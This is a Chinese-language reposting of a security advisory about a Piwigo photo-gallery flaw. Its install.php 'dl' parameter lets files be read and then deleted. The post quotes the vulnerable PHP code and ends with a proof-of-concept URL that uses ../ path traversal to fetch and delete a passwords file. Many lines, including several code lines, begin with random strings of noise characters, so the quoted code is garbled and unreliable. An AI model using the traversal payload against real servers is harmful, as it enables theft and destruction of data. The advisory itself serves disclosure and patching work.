Piwigo任意文件泄露和任意文件删除漏洞

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Piwigo是用PHP编写的相册脚本。

Piwigo 2.4.6及其他版本没有正确验证install.php脚本的 'dl'参数值，在实现上存在安全漏洞，攻击者可利用这些漏洞查看受影响计算机上的任意文件，删除受影响应用上下文内的任意文件。
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/install.php:
-------------
113: if (!empty($_GET['dl']) && file_exists(PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl']))
114: {
115:   $filename = PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl'];
! c/ i: Y  w9 u3 r# {116:   header('Cache-Control: no-cache, must-revalidate');
. t. D6 k9 D. R& Y( V0 J8 Y' z117:   header('Pragma: no-cache');
$ V* P6 m4 w+ A; a; z7 L118:   header('Content-Disposition: attachment; filename="database.inc.php"');
, K+ k* w/ P2 t( J9 D6 D8 |" O! z4 X119:   header('Content-Transfer-Encoding: binary');
120:   header('Content-Length: '.filesize($filename));
121:   echo file_get_contents($filename);
5 b( z. {) K. ?) _2 X; U# y. R122:   unlink($filename);
9 A6 }) W4 B# Y! c, e123:   exit();
9 R# [( t8 s9 D124: }
====================================================================
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Tested on: Microsoft Windows 7 Ultimate SP1 (EN)
# Y8 }' J+ a- N" |4 a. f( |           Apache 2.4.2 (Win32)
           PHP 5.4.4
           MySQL 5.5.25a

2 b& j4 _1 w3 u, iVulnerability discovered by Gjoko 'LiquidWorm' Krstic
: c% b6 V0 h8 s" a! X7 d$ m                            @zeroscience
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Advisory ID: ZSL-2013-5127
$ S$ C; m/ _+ eAdvisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2013-5127.php
4 W7 `  z. C1 H$ I: D" \9 ^Vendor Patch: http://piwigo.org/bugs/view.php?id=2843
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/ [8 M9 y) }: |2 r15.02.2013
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0 D& M$ D2 D. v8 S--
http://localhost/piwigo/install.php?dl=../../../../../../lio_passwords.txt

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